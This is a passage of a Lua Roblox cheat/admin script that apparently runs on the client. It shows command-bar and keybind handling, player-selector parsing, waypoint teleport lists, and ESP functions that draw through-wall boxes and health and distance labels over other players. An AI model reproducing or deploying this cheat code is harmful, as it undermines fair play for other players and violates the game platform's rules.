  4003. if string.find(c.Text, "^"..cmd.."$") or string.find(c.Text, "^"..cmd.." ") or string.find(c.Text, " "..cmd.."$") or string.find(c.Text, " "..cmd.." ") then
  4004. c.TextTransparency = 0.7
  4005. c.MouseButton1Click:Connect(function()
  4006. notify(c.Text, "Command has been disabled by you or a plugin")
  4007. end)
  4008. end
  4009. end
  4010. end
  4011. end
  4012. end
  4013. end
  4014.  
  4015. function addbind(cmd,key)
  4016. binds[#binds+1]=
  4017. {
  4018. COMMAND=cmd;
  4019. KEY=key;
  4020. }
  4021. end
  4022.  
  4023. function addspawn(cmd,sDelay)
  4024. spawnCmds[#spawnCmds+1]=
  4025. {
  4026. COMMAND=cmd;
  4027. DELAY=sDelay;
  4028. }
  4029. end
  4030.  
  4031. function addcmdtext(text,name,desc)
  4032. local newcmd = Holder.Example:Clone()
  4033. local tooltipText = tostring(text)
  4034. local tooltipDesc = tostring(desc)
  4035. newcmd.Parent = Holder.CMDs
  4036. newcmd.Visible = false
  4037. newcmd.Text = text
  4038. newcmd.Name = 'PLUGIN_'..name
  4039. table.insert(text1,newcmd)
  4040. if desc and desc ~= '' then
  4041. local title = Instance.new("StringValue",newcmd)
  4042. title.Name = "Title"
  4043. title.Value = tooltipText
  4044. local desc = Instance.new("StringValue",newcmd)
  4045. desc.Name = "Desc"
  4046. desc.Value = tooltipDesc
  4047. newcmd.MouseButton1Down:Connect(function()
  4048. if newcmd.Visible and newcmd.TextTransparency == 0 then
  4049. Cmdbar:CaptureFocus()
  4050. autoComplete(newcmd.Text)
  4051. maximizeHolder()
  4052. end
  4053. end)
  4054. end
  4055. end
  4056.  
  4057. SpecialPlayerCases = {
  4058. ["all"] = function(speaker)return Players:GetPlayers() end,
  4059. ["others"] = function(speaker)
  4060. local plrs = {}
  4061. for i,v in pairs(Players:GetPlayers()) do
  4062. if v ~= speaker then
  4063. table.insert(plrs,v)
  4064. end
  4065. end
  4066. return plrs
  4067. end,
  4068. ["me"] = function(speaker)return {speaker} end,
  4069. ["#(%d+)"] = function(speaker,args,currentList)
  4070. local returns = {}
  4071. local randAmount = tonumber(args[1])
  4072. local players = {unpack(currentList)}
  4073. for i = 1,randAmount do
  4074. if #players == 0 then break end
  4075. local randIndex = math.random(1,#players)
  4076. table.insert(returns,players[randIndex])
  4077. table.remove(players,randIndex)
  4078. end
  4079. return returns
  4080. end,
  4081. ["random"] = function(speaker,args,currentList)
  4082. local players = currentList
  4083. return {players[math.random(1,#players)]}
  4084. end,
  4085. ["%%(.+)"] = function(speaker,args)
  4086. local returns = {}
  4087. local team = args[1]
  4088. for _,plr in pairs(Players:GetPlayers()) do
  4089. if plr.Team and string.sub(string.lower(plr.Team.Name),1,#team) == string.lower(team) then
  4090. table.insert(returns,plr)
  4091. end
  4092. end
  4093. return returns
  4094. end,
  4095. ["allies"] = function(speaker)
  4096. local returns = {}
  4097. local team = speaker.Team
  4098. for _,plr in pairs(Players:GetPlayers()) do
  4099. if plr.Team == team then
  4100. table.insert(returns,plr)
  4101. end
  4102. end
  4103. return returns
  4104. end,
  4105. ["enemies"] = function(speaker)
  4106. local returns = {}
  4107. local team = speaker.Team
  4108. for _,plr in pairs(Players:GetPlayers()) do
  4109. if plr.Team ~= team then
  4110. table.insert(returns,plr)
  4111. end
  4112. end
  4113. return returns
  4114. end,
  4115. ["team"] = function(speaker)
  4116. local returns = {}
  4117. local team = speaker.Team
  4118. for _,plr in pairs(Players:GetPlayers()) do
  4119. if plr.Team == team then
  4120. table.insert(returns,plr)
  4121. end
  4122. end
  4123. return returns
  4124. end,
  4125. ["nonteam"] = function(speaker)
  4126. local returns = {}
  4127. local team = speaker.Team
  4128. for _,plr in pairs(Players:GetPlayers()) do
  4129. if plr.Team ~= team then
  4130. table.insert(returns,plr)
  4131. end
  4132. end
  4133. return returns
  4134. end,
  4135. ["friends"] = function(speaker,args)
  4136. local returns = {}
  4137. for _,plr in pairs(Players:GetPlayers()) do
  4138. if plr:IsFriendsWith(speaker.UserId) and plr ~= speaker then
  4139. table.insert(returns,plr)
  4140. end
  4141. end
  4142. return returns
  4143. end,
  4144. ["nonfriends"] = function(speaker,args)
  4145. local returns = {}
  4146. for _,plr in pairs(Players:GetPlayers()) do
  4147. if not plr:IsFriendsWith(speaker.UserId) and plr ~= speaker then
  4148. table.insert(returns,plr)
  4149. end
  4150. end
  4151. return returns
  4152. end,
  4153. ["guests"] = function(speaker,args)
  4154. local returns = {}
  4155. for _,plr in pairs(Players:GetPlayers()) do
  4156. if plr.Guest then
  4157. table.insert(returns,plr)
  4158. end
  4159. end
  4160. return returns
  4161. end,
  4162. ["bacons"] = function(speaker,args)
  4163. local returns = {}
  4164. for _,plr in pairs(Players:GetPlayers()) do
  4165. if plr.Character:FindFirstChild('Pal Hair') or plr.Character:FindFirstChild('Kate Hair') then
  4166. table.insert(returns,plr)
  4167. end
  4168. end
  4169. return returns
  4170. end,
  4171. ["age(%d+)"] = function(speaker,args)
  4172. local returns = {}
  4173. local age = tonumber(args[1])
  4174. if not age == nil then return end
  4175. for _,plr in pairs(Players:GetPlayers()) do
  4176. if plr.AccountAge <= age then
  4177. table.insert(returns,plr)
  4178. end
  4179. end
  4180. return returns
  4181. end,
  4182. ["nearest"] = function(speaker,args)
  4183. local speakerChar = speaker.Character
  4184. if not speakerChar or not speakerChar:FindFirstChild("HumanoidRootPart") then return end
  4185. local lowest = math.huge
  4186. local NearestPlayer = nil
  4187. for _,plr in pairs(Players:GetPlayers()) do
  4188. if plr ~= speaker and plr.Character then
  4189. local distance = plr:DistanceFromCharacter(speakerChar:FindFirstChild("HumanoidRootPart").Position)
  4190. if distance < lowest then
  4191. lowest = distance
  4192. NearestPlayer = {plr}
  4193. end
  4194. end
  4195. end
  4196. return NearestPlayer
  4197. end,
  4198. ["farthest"] = function(speaker,args)
  4199. local speakerChar = speaker.Character
  4200. if not speakerChar or not speakerChar:FindFirstChild("HumanoidRootPart") then return end
  4201. local highest = math.huge
  4202. local FarthestPlayer = nil
  4203. for _,plr in pairs(Players:GetPlayers()) do
  4204. if plr ~= speaker and plr.Character then
  4205. local distance = plr:DistanceFromCharacter(speakerChar:FindFirstChild("HumanoidRootPart").Position)
  4206. if distance > highest then
  4207. highest = distance
  4208. FarthestPlayer = {plr}
  4209. end
  4210. end
  4211. end
  4212. return FarthestPlayer
  4213. end,
  4214. ["group(%d+)"] = function(speaker,args)
  4215. local returns = {}
  4216. local groupID = tonumber(args[1])
  4217. for _,plr in pairs(Players:GetPlayers()) do
  4218. if plr:IsInGroup(groupID) then
  4219. table.insert(returns,plr)
  4220. end
  4221. end
  4222. return returns
  4223. end,
  4224. ["rad(%d+)"] = function(speaker,args)
  4225. local returns = {}
  4226. local radius = tonumber(args[1])
  4227. local speakerChar = speaker.Character
  4228. if not speakerChar or not speakerChar:FindFirstChild("HumanoidRootPart") then return end
  4229. for _,plr in pairs(Players:GetPlayers()) do
  4230. if plr.Character and plr.Character:FindFirstChild("HumanoidRootPart") then
  4231. local magnitude = (plr.Character:FindFirstChild("HumanoidRootPart").Position-speakerChar.HumanoidRootPart.Position).magnitude
  4232. if magnitude <= radius then table.insert(returns,plr) end
  4233. end
  4234. end
  4235. return returns
  4236. end
  4237. }
  4238.  
  4239. function toTokens(str)
  4240. local tokens = {}
  4241. for op,name in string.gmatch(str,"([+-])([^+-]+)") do
  4242. table.insert(tokens,{Operator = op,Name = name})
  4243. end
  4244. return tokens
  4245. end
  4246.  
  4247. function onlyIncludeInTable(tab,matches)
  4248. local matchTable = {}
  4249. local resultTable = {}
  4250. for i,v in pairs(matches) do matchTable[v.Name] = true end
  4251. for i,v in pairs(tab) do if matchTable[v.Name] then table.insert(resultTable,v) end end
  4252. return resultTable
  4253. end
  4254.  
  4255. function removeTableMatches(tab,matches)
  4256. local matchTable = {}
  4257. local resultTable = {}
  4258. for i,v in pairs(matches) do matchTable[v.Name] = true end
  4259. for i,v in pairs(tab) do if not matchTable[v.Name] then table.insert(resultTable,v) end end
  4260. return resultTable
  4261. end
  4262.  
  4263. function getPlayersByName(name)
  4264. local found = {}
  4265. for i,v in pairs(Players:GetChildren()) do
  4266. if string.sub(string.lower(v.Name),1,#name) == string.lower(name) then
  4267. table.insert(found,v)
  4268. end
  4269. end
  4270. return found
  4271. end
  4272.  
  4273. function getPlayer(list,speaker)
  4274. if list == nil then return {speaker.Name} end
  4275. local nameList = splitString(list,",")
  4276.  
  4277. local foundList = {}
  4278.  
  4279. for _,name in pairs(nameList) do
  4280. if string.sub(name,1,1) ~= "+" and string.sub(name,1,1) ~= "-" then name = "+"..name end
  4281. local tokens = toTokens(name)
  4282. local initialPlayers = Players:GetPlayers()
  4283.  
  4284. for i,v in pairs(tokens) do
  4285. if v.Operator == "+" then
  4286. local tokenContent = v.Name
  4287. local foundCase = false
  4288. for regex,case in pairs(SpecialPlayerCases) do
  4289. local matches = {string.match(tokenContent,"^"..regex.."$")}
  4290. if #matches > 0 then
  4291. foundCase = true
  4292. initialPlayers = onlyIncludeInTable(initialPlayers,case(speaker,matches,initialPlayers))
  4293. end
  4294. end
  4295. if not foundCase then
  4296. initialPlayers = onlyIncludeInTable(initialPlayers,getPlayersByName(tokenContent))
  4297. end
  4298. else
  4299. local tokenContent = v.Name
  4300. local foundCase = false
  4301. for regex,case in pairs(SpecialPlayerCases) do
  4302. local matches = {string.match(tokenContent,"^"..regex.."$")}
  4303. if #matches > 0 then
  4304. foundCase = true
  4305. initialPlayers = removeTableMatches(initialPlayers,case(speaker,matches,initialPlayers))
  4306. end
  4307. end
  4308. if not foundCase then
  4309. initialPlayers = removeTableMatches(initialPlayers,getPlayersByName(tokenContent))
  4310. end
  4311. end
  4312. end
  4313.  
  4314. for i,v in pairs(initialPlayers) do table.insert(foundList,v) end
  4315. end
  4316.  
  4317. local foundNames = {}
  4318. for i,v in pairs(foundList) do table.insert(foundNames,v.Name) end
  4319.  
  4320. return foundNames
  4321. end
  4322.  
  4323. getprfx=function(strn)
  4324. if strn:sub(1,string.len(prefix))==prefix then return{'cmd',string.len(prefix)+1}
  4325. end return
  4326. end
  4327.  
  4328. function do_exec(str, plr)
  4329. str = str:gsub('/e ', '')
  4330. local t = getprfx(str)
  4331. if not t then return end
  4332. str = str:sub(t[2])
  4333. if t[1]=='cmd' then
  4334. execCmd(str, plr)
  4335. IndexContents('',true,false,true)
  4336. if canvasPos ~= nil then
  4337. CMDsF.CanvasPosition = Vector2.new(0, canvasPos)
  4338. canvasTop = false
  4339. end
  4340. end
  4341. end
  4342.  
  4343.  
  4344. Players.LocalPlayer.Chatted:connect(function(message)
  4345. do_exec(message, Players.LocalPlayer)
  4346. end)
  4347.  
  4348. Cmdbar:GetPropertyChangedSignal("Text"):connect(function()
  4349. if Cmdbar:IsFocused() then
  4350. IndexContents(Cmdbar.Text,true,true)
  4351. end
  4352. end)
  4353.  
  4354. tabComplete = nil
  4355. Cmdbar.FocusLost:connect(function(enterpressed)
  4356. if enterpressed then
  4357. execCmd(Cmdbar.Text,Players.LocalPlayer)
  4358. end
  4359. if tabComplete then tabComplete:Disconnect() end
  4360. wait()
  4361. if not Cmdbar:IsFocused() then
  4362. Cmdbar.Text = "Command Bar"
  4363. IndexContents('',true,false,true)
  4364. if canvasPos ~= nil then
  4365. CMDsF.CanvasPosition = Vector2.new(0, canvasPos)
  4366. canvasTop = false
  4367. end
  4368. if SettingsOpen == true then
  4369. wait(0.2)
  4370. Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.2, true, nil)
  4371. Holder.CMDs.Visible = false
  4372. end
  4373. end
  4374. end)
  4375.  
  4376. Cmdbar.Focused:Connect(function()
  4377. historyCount = 0
  4378. if SettingsOpen == true then
  4379. wait(0.2)
  4380. Holder.CMDs.Visible = true
  4381. Holder.Settings:TweenPosition(UDim2.new(0, 0, 0, 220), "InOut", "Quart", 0.2, true, nil)
  4382. end
  4383. tabComplete = UserInputService.InputBegan:Connect(function(input,gameProcessed)
  4384. if Cmdbar:IsFocused() then
  4385. if input.KeyCode == Enum.KeyCode.Tab and topCommand ~= nil then
  4386. autoComplete(topCommand)
  4387. end
  4388. else
  4389. tabComplete:Disconnect()
  4390. end
  4391. end)
  4392. end)
  4393.  
  4394. UserInputService.InputBegan:Connect(function(input)
  4395. if Cmdbar and Cmdbar:IsFocused() then
  4396. if input.KeyCode == Enum.KeyCode.Up then
  4397. historyCount = historyCount + 1
  4398. if historyCount > #cmdHistory then historyCount = #cmdHistory end
  4399. Cmdbar.Text = cmdHistory[historyCount] or ""
  4400. Cmdbar.CursorPosition = 1020
  4401. elseif input.KeyCode == Enum.KeyCode.Down then
  4402. historyCount = historyCount - 1
  4403. if historyCount < 1 then historyCount = 1 end
  4404. Cmdbar.Text = cmdHistory[historyCount] or ""
  4405. Cmdbar.CursorPosition = 1020
  4406. end
  4407. end
  4408. end)
  4409.  
  4410. ESPenabled = false
  4411. CHMSenabled = false
  4412.  
  4413. function round(num, numDecimalPlaces)
  4414. local mult = 10^(numDecimalPlaces or 0)
  4415. return math.floor(num * mult + 0.5) / mult
  4416. end
  4417.  
  4418. function ESP(plr)
  4419. spawn(function()
  4420. for i,v in pairs(PARENT:GetChildren()) do
  4421. if v.Name == plr.Name..'_ESP' then
  4422. v:Destroy()
  4423. end
  4424. end
  4425. wait()
  4426. if plr.Character and plr.Name ~= Players.LocalPlayer.Name and not PARENT:FindFirstChild(plr.Name..'_ESP') then
  4427. local ESPholder = Instance.new("Folder", PARENT)
  4428. ESPholder.Name = plr.Name..'_ESP'
  4429. repeat wait(1) until plr.Character and plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
  4430. for b,n in pairs (plr.Character:GetChildren()) do
  4431. if (n:IsA("BasePart")) then
  4432. local a = Instance.new("BoxHandleAdornment", ESPholder)
  4433. a.Name = plr.Name
  4434. a.Adornee = n
  4435. a.AlwaysOnTop = true
  4436. a.ZIndex = 0
  4437. a.Size = n.Size
  4438. a.Transparency = 0.3
  4439. a.Color = plr.TeamColor
  4440. end
  4441. end
  4442. if plr.Character and plr.Character:FindFirstChild('Head') then
  4443. local BillboardGui = Instance.new("BillboardGui", ESPholder)
  4444. local TextLabel = Instance.new("TextLabel")
  4445. BillboardGui.Adornee = plr.Character.Head
  4446. BillboardGui.Name = plr.Name
  4447. BillboardGui.Size = UDim2.new(0, 100, 0, 150)
  4448. BillboardGui.StudsOffset = Vector3.new(0, 1, 0)
  4449. BillboardGui.AlwaysOnTop = true
  4450. TextLabel.Parent = BillboardGui
  4451. TextLabel.BackgroundTransparency = 1
  4452. TextLabel.Position = UDim2.new(0, 0, 0, -50)
  4453. TextLabel.Size = UDim2.new(0, 100, 0, 100)
  4454. TextLabel.Font = Enum.Font.SourceSansSemibold
  4455. TextLabel.TextSize = 20
  4456. TextLabel.TextColor3 = Color3.new(1, 1, 1)
  4457. TextLabel.TextStrokeTransparency = 0
  4458. TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom
  4459. local espLoopFunc
  4460. local teamChange
  4461. local addedFunc
  4462. addedFunc = plr.CharacterAdded:Connect(function()
  4463. if ESPenabled then
  4464. espLoopFunc:Disconnect()
  4465. teamChange:Disconnect()
  4466. ESPholder:Destroy()
  4467. repeat wait(1) until plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
  4468. ESP(plr)
  4469. addedFunc:Disconnect()
  4470. else
  4471. teamChange:Disconnect()
  4472. addedFunc:Disconnect()
  4473. end
  4474. end)
  4475. teamChange = plr:GetPropertyChangedSignal("TeamColor"):connect(function()
  4476. if ESPenabled then
  4477. espLoopFunc:Disconnect()
  4478. addedFunc:Disconnect()
  4479. ESPholder:Destroy()
  4480. repeat wait(1) until plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
  4481. ESP(plr)
  4482. teamChange:Disconnect()
  4483. else
  4484. teamChange:Disconnect()
  4485. end
  4486. end)
  4487. local function espLoop()
  4488. if PARENT:FindFirstChild(plr.Name..'_ESP') then
  4489. if plr.Character and plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid') and Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChild('HumanoidRootPart') and Players.LocalPlayer.Character:FindFirstChild('Humanoid') then
  4490. local pos = math.floor((Players.LocalPlayer.Character.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).magnitude)
  4491. TextLabel.Text = 'Name: '..plr.Name..' | Health: '..round(plr.Character:FindFirstChildOfClass('Humanoid').Health, 1)..' | Studs: '..pos
  4492. end
  4493. else
  4494. teamChange:Disconnect()
  4495. addedFunc:Disconnect()
  4496. espLoopFunc:Disconnect()
  4497. end
  4498. end
  4499. espLoopFunc = game:GetService("RunService").RenderStepped:Connect(espLoop)
  4500. end
  4501. end
  4502. end)
  4503. end
  4504.  
  4505. function CHMS(plr)
  4506. spawn(function()
  4507. for i,v in pairs(PARENT:GetChildren()) do
  4508. if v.Name == plr.Name..'_CHMS' then
  4509. v:Destroy()
  4510. end
  4511. end
  4512. wait()
  4513. if plr.Character and plr.Name ~= Players.LocalPlayer.Name and not PARENT:FindFirstChild(plr.Name..'_CHMS') then
  4514. local ESPholder = Instance.new("Folder", PARENT)
  4515. ESPholder.Name = plr.Name..'_CHMS'
  4516. repeat wait(1) until plr.Character and plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
  4517. for b,n in pairs (plr.Character:GetChildren()) do
  4518. if (n:IsA("BasePart")) then
  4519. local a = Instance.new("BoxHandleAdornment", ESPholder)
  4520. a.Name = plr.Name
  4521. a.Adornee = n
  4522. a.AlwaysOnTop = true
  4523. a.ZIndex = 0
  4524. a.Size = n.Size
  4525. a.Transparency = 0.3
  4526. a.Color = plr.TeamColor
  4527. end
  4528. end
  4529. local addedFunc
  4530. local teamChange
  4531. local CHMSremoved
  4532. addedFunc = plr.CharacterAdded:Connect(function()
  4533. if CHMSenabled then
  4534. ESPholder:Destroy()
  4535. teamChange:Disconnect()
  4536. repeat wait(1) until plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
  4537. CHMS(plr)
  4538. addedFunc:Disconnect()
  4539. else
  4540. teamChange:Disconnect()
  4541. addedFunc:Disconnect()
  4542. end
  4543. end)
  4544. teamChange = plr:GetPropertyChangedSignal("TeamColor"):connect(function()
  4545. if CHMSenabled then
  4546. ESPholder:Destroy()
  4547. addedFunc:Disconnect()
  4548. repeat wait(1) until plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
  4549. CHMS(plr)
  4550. teamChange:Disconnect()
  4551. else
  4552. teamChange:Disconnect()
  4553. end
  4554. end)
  4555. CHMSremoved = ESPholder.AncestryChanged:connect(function()
  4556. teamChange:Disconnect()
  4557. addedFunc:Disconnect()
  4558. CHMSremoved:Disconnect()
  4559. end)
  4560. end
  4561. end)
  4562. end
  4563.  
  4564. function Locate(plr)
  4565. spawn(function()
  4566. for i,v in pairs(PARENT:GetChildren()) do
  4567. if v.Name == plr.Name..'_LC' then
  4568. v:Destroy()
  4569. end
  4570. end
  4571. wait()
  4572. if plr.Character and plr.Name ~= Players.LocalPlayer.Name and not PARENT:FindFirstChild(plr.Name..'_LC') then
  4573. local ESPholder = Instance.new("Folder", PARENT)
  4574. ESPholder.Name = plr.Name..'_LC'
  4575. repeat wait(1) until plr.Character and plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
  4576. for b,n in pairs (plr.Character:GetChildren()) do
  4577. if (n:IsA("BasePart")) then
  4578. local a = Instance.new("BoxHandleAdornment", ESPholder)
  4579. a.Name = plr.Name
  4580. a.Adornee = n
  4581. a.AlwaysOnTop = true
  4582. a.ZIndex = 0
  4583. a.Size = n.Size
  4584. a.Transparency = 0.3
  4585. a.Color = plr.TeamColor
  4586. end
  4587. end
  4588. if plr.Character and plr.Character:FindFirstChild('Head') then
  4589. local BillboardGui = Instance.new("BillboardGui", ESPholder)
  4590. local TextLabel = Instance.new("TextLabel")
  4591. BillboardGui.Adornee = plr.Character.Head
  4592. BillboardGui.Name = plr.Name
  4593. BillboardGui.Size = UDim2.new(0, 100, 0, 150)
  4594. BillboardGui.StudsOffset = Vector3.new(0, 1, 0)
  4595. BillboardGui.AlwaysOnTop = true
  4596. TextLabel.Parent = BillboardGui
  4597. TextLabel.BackgroundTransparency = 1
  4598. TextLabel.Position = UDim2.new(0, 0, 0, -50)
  4599. TextLabel.Size = UDim2.new(0, 100, 0, 100)
  4600. TextLabel.Font = Enum.Font.SourceSansSemibold
  4601. TextLabel.TextSize = 20
  4602. TextLabel.TextColor3 = Color3.new(1, 1, 1)
  4603. TextLabel.TextStrokeTransparency = 0
  4604. TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom
  4605. local lcLoopFunc
  4606. local addedFunc
  4607. local teamChange
  4608. addedFunc = plr.CharacterAdded:Connect(function()
  4609. if ESPholder ~= nil and ESPholder.Parent ~= nil then
  4610. lcLoopFunc:Disconnect()
  4611. teamChange:Disconnect()
  4612. ESPholder:Destroy()
  4613. repeat wait(1) until plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
  4614. Locate(plr)
  4615. addedFunc:Disconnect()
  4616. else
  4617. teamChange:Disconnect()
  4618. addedFunc:Disconnect()
  4619. end
  4620. end)
  4621. teamChange = plr:GetPropertyChangedSignal("TeamColor"):connect(function()
  4622. if ESPholder ~= nil and ESPholder.Parent ~= nil then
  4623. lcLoopFunc:Disconnect()
  4624. addedFunc:Disconnect()
  4625. ESPholder:Destroy()
  4626. repeat wait(1) until plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
  4627. Locate(plr)
  4628. teamChange:Disconnect()
  4629. else
  4630. teamChange:Disconnect()
  4631. end
  4632. end)
  4633. local function lcLoop()
  4634. if PARENT:FindFirstChild(plr.Name..'_LC') then
  4635. if plr.Character and plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid') and Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChild('HumanoidRootPart') and Players.LocalPlayer.Character:FindFirstChild('Humanoid') then
  4636. local pos = math.floor((Players.LocalPlayer.Character.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).magnitude)
  4637. TextLabel.Text = 'Name: '..plr.Name..' | Health: '..round(plr.Character:FindFirstChildOfClass('Humanoid').Health, 1)..' | Studs: '..pos
  4638. end
  4639. else
  4640. teamChange:Disconnect()
  4641. addedFunc:Disconnect()
  4642. lcLoopFunc:Disconnect()
  4643. end
  4644. end
  4645. lcLoopFunc = game:GetService("RunService").RenderStepped:Connect(lcLoop)
  4646. end
  4647. end
  4648. end)
  4649. end
  4650.  
  4651. bindsGUI = KeybindEditor
  4652. awaitingInput = false
  4653. keySelected = false
  4654.  
  4655. function unkeybind(cmd,key)
  4656. for i = #binds,1,-1 do
  4657. if binds[i].COMMAND == cmd and binds[i].KEY == key then
  4658. table.remove(binds, i)
  4659. end
  4660. end
  4661. refreshbinds()
  4662. updatesaves()
  4663. if key == 'RightClick' or key == 'LeftClick' then
  4664. notify('Keybinds Updated','Unbinded '..key..' from '..cmd)
  4665. else
  4666. notify('Keybinds Updated','Unbinded '..key:sub(14)..' from '..cmd)
  4667. end
  4668. end
  4669.  
  4670. function refreshbinds()
  4671. if Holder_2 then
  4672. Holder_2:ClearAllChildren()
  4673. Holder_2.CanvasSize = UDim2.new(0, 0, 0, 10)
  4674. for i = 1, #binds do
  4675. local YSize = 25
  4676. local Position = ((i * YSize) - YSize)
  4677. local newbind = Example_2:Clone()
  4678. newbind.Parent = Holder_2
  4679. newbind.Visible = true
  4680. newbind.Position = UDim2.new(0,0,0, Position + 5)
  4681. table.insert(shade2,newbind)
  4682. table.insert(shade2,newbind.Text)
  4683. table.insert(text1,newbind.Text)
  4684. table.insert(shade3,newbind.Text.Delete)
  4685. table.insert(text2,newbind.Text.Delete)
  4686. local input = tostring(binds[i].KEY)
  4687. local key
  4688. if input == 'RightClick' or input == 'LeftClick' then
  4689. key = input
  4690. else
  4691. key = input:sub(14)
  4692. end
  4693. newbind.Text.Text = key.." > "..binds[i].COMMAND
  4694. Holder_2.CanvasSize = UDim2.new(0,0,0, Position + 30)
  4695. newbind.Text.Delete.MouseButton1Click:Connect(function()
  4696. unkeybind(binds[i].COMMAND,binds[i].KEY)
  4697. end)
  4698. end
  4699. end
  4700. end
  4701.  
  4702. refreshbinds()
  4703.  
  4704. PositionsFrame.Delete.MouseButton1Click:Connect(function()
  4705. execCmd('cpos')
  4706. end)
  4707.  
  4708. function refreshwaypoints()
  4709. if #WayPoints > 0 or #pWayPoints > 0 then
  4710. PositionsHint:Destroy()
  4711. end
  4712. if Holder_4 then
  4713. Holder_4:ClearAllChildren()
  4714. Holder_4.CanvasSize = UDim2.new(0, 0, 0, 10)
  4715. local YSize = 25
  4716. local num = 1
  4717. for i = 1, #WayPoints do
  4718. local Position = ((num * YSize) - YSize)
  4719. local newpoint = Example_4:Clone()
  4720. newpoint.Parent = Holder_4
  4721. newpoint.Visible = true
  4722. newpoint.Position = UDim2.new(0,0,0, Position + 5)
  4723. newpoint.Text.Text = WayPoints[i].NAME
  4724. table.insert(shade2,newpoint)
  4725. table.insert(shade2,newpoint.Text)
  4726. table.insert(text1,newpoint.Text)
  4727. table.insert(shade3,newpoint.Text.Delete)
  4728. table.insert(text2,newpoint.Text.Delete)
  4729. table.insert(shade3,newpoint.Text.TP)
  4730. table.insert(text2,newpoint.Text.TP)
  4731. Holder_4.CanvasSize = UDim2.new(0,0,0, Position + 30)
  4732. newpoint.Text.Delete.MouseButton1Click:Connect(function()
  4733. execCmd('dpos '..WayPoints[i].NAME)
  4734. end)
  4735. newpoint.Text.TP.MouseButton1Click:Connect(function()
  4736. execCmd("loadpos "..WayPoints[i].NAME)
  4737. end)
  4738. num = num+1
  4739. end
  4740. for i = 1, #pWayPoints do
  4741. local Position = ((num * YSize) - YSize)
  4742. local newpoint = Example_4:Clone()
  4743. newpoint.Parent = Holder_4
  4744. newpoint.Visible = true
  4745. newpoint.Position = UDim2.new(0,0,0, Position + 5)
  4746. newpoint.Text.Text = pWayPoints[i].NAME
  4747. table.insert(shade2,newpoint)
  4748. table.insert(shade2,newpoint.Text)
  4749. table.insert(text1,newpoint.Text)
  4750. table.insert(shade3,newpoint.Text.Delete)
  4751. table.insert(text2,newpoint.Text.Delete)
  4752. table.insert(shade3,newpoint.Text.TP)
  4753. table.insert(text2,newpoint.Text.TP)
  4754. Holder_4.CanvasSize = UDim2.new(0,0,0, Position + 30)
  4755. newpoint.Text.Delete.MouseButton1Click:Connect(function()
  4756. execCmd('dpos '..pWayPoints[i].NAME)
  4757. end)
  4758. newpoint.Text.TP.MouseButton1Click:Connect(function()
  4759. execCmd("loadpos "..pWayPoints[i].NAME)
  4760. end)
  4761. num = num+1
  4762. end
  4763. end
  4764. end
  4765.  
  4766. refreshwaypoints()
  4767.  
  4768. function removeSpawnC(cmd,Delay)
  4769. for i = #spawnCmds,1,-1 do
  4770. if spawnCmds[i].COMMAND == cmd and spawnCmds[i].DELAY == Delay then
  4771. table.remove(spawnCmds, i)
  4772. end
  4773. end
  4774. refreshSpawnC()
  4775. updatesaves()
  4776. notify('Spawn Commands Updated','Removed "'..cmd..'" from spawn commands')
  4777. end
  4778.  
  4779. function refreshSpawnC()
  4780. if Holder_6 then
  4781. Holder_6:ClearAllChildren()
  4782. Holder_6.CanvasSize = UDim2.new(0, 0, 0, 10)
  4783. for i = 1, #spawnCmds do
  4784. local YSize = 25
  4785. local Position = ((i * YSize) - YSize)
  4786. local newspawn = Example_2:Clone()
  4787. newspawn.Parent = Holder_6
  4788. newspawn.Visible = true
  4789. newspawn.Position = UDim2.new(0,0,0, Position + 5)
  4790. table.insert(shade2,newspawn)
  4791. table.insert(shade2,newspawn.Text)
  4792. table.insert(text1,newspawn.Text)
  4793. table.insert(shade3,newspawn.Text.Delete)
  4794. table.insert(text2,newspawn.Text.Delete)
  4795. if spawnCmds[i].DELAY == 0 or spawnCmds[i].DELAY == '0' then
  4796. newspawn.Text.Text = spawnCmds[i].COMMAND
  4797. else
  4798. newspawn.Text.Text = spawnCmds[i].COMMAND..' (Delay '..spawnCmds[i].DELAY..')'
  4799. end
  4800. Holder_6.CanvasSize = UDim2.new(0,0,0, Position + 30)
  4801. newspawn.Text.Delete.MouseButton1Click:Connect(function()
  4802. removeSpawnC(spawnCmds[i].COMMAND,spawnCmds[i].DELAY)
  4803. refreshSpawnC()
  4804. end)
  4805. end
  4806. end
  4807. end
  4808.  
  4809. refreshSpawnC()
  4810.  
  4811. function refreshaliases()
  4812. if #aliases > 0 then
  4813. AliasHint:Destroy()
  4814. end
  4815. if Holder_3 then
  4816. Holder_3:ClearAllChildren()
  4817. Holder_3.CanvasSize = UDim2.new(0, 0, 0, 10)
  4818. for i = 1, #aliases do
  4819. local YSize = 25
  4820. local Position = ((i * YSize) - YSize)
  4821. local newalias = Example_3:Clone()
  4822. newalias.Parent = Holder_3
  4823. newalias.Visible = true
  4824. newalias.Position = UDim2.new(0,0,0, Position + 5)
  4825. newalias.Text.Text = aliases[i].CMD.." > "..aliases[i].ALIAS
  4826. table.insert(shade2,newalias)
  4827. table.insert(shade2,newalias.Text)
  4828. table.insert(text1,newalias.Text)
  4829. table.insert(shade3,newalias.Text.Delete)
  4830. table.insert(text2,newalias.Text.Delete)
  4831. Holder_3.CanvasSize = UDim2.new(0,0,0, Position + 30)
  4832. newalias.Text.Delete.MouseButton1Click:Connect(function()
